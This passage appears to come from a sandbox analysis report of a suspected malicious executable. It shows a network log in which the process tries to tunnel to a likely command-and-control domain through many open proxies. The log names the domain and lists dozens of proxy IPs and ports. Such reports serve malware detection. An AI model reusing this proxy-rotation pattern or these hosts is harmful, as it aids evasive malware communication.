0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method CONNECT is not allowed for the URL /index.html.</p></body></html>
Mar 11, 2024 16:42:24.193439960 CET	442	IN	HTTP/1.1 405 Method Not Allowed Date: Mon, 11 Mar 2024 15:42:23 GMT Server: Apache Allow: OPTIONS,GET,HEAD,POST Vary: Accept-Encoding Content-Length: 235 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 43 4f 4e 4e 45 43 54 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 65 20 55 52 4c 20 2f 69 6e 64 65 78 2e 68 74 6d 6c 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method CONNECT is not allowed for the URL /index.html.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
942	192.168.2.11	52978	103.163.51.254	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.979989052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.416716099 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
943	192.168.2.11	53143	98.162.25.4	31654	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.982481003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
944	192.168.2.11	53076	196.20.125.129	8083	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.991719007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
945	192.168.2.11	53073	88.99.138.21	5088	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.992010117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
946	192.168.2.11	53164	72.210.252.137	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.996646881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
947	192.168.2.11	52496	72.49.49.11	31034	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.997356892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
948	192.168.2.11	52348	167.249.29.220	999	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.000860929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.985745907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.552256107 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
949	192.168.2.11	53077	5.252.23.220	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.001341105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.689071894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.689173937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.689214945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.688906908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.688797951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.673615932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.903352976 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
950	192.168.2.11	53196	74.48.7.43	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.001588106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
951	192.168.2.11	50925	54.36.122.16	29796	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.002242088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.188585043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.188950062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.188999891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
952	192.168.2.11	53191	184.72.36.89	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.003787994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.176266909 CET	344	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 15:42:23 GMT Server: Apache Content-Length: 199 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
953	192.168.2.11	53183	46.51.249.135	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.016374111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.283966064 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:23 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
954	192.168.2.11	53134	61.79.73.225	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.017282963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
955	192.168.2.11	52412	185.49.30.5	8081	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.018747091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
956	192.168.2.11	53090	221.151.181.101	8000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.022269964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.844993114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.845350027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.841496944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.829683065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.845248938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.784888983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.594733953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:48.444613934 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:42:48 GMT Server: Apache Content-Length: 534 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 68 65 6c 70 40 67 65 6e 69 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at help@geninetworks.com to inform them of the time this

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
957	192.168.2.11	53202	172.67.200.220	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.027193069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.181369066 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
958	192.168.2.11	52497	163.172.153.194	16379	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.091155052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.141886950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.142443895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.142173052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:47.157217979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:59.172868967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:02.254925966 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
959	192.168.2.11	53165	115.84.248.140	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
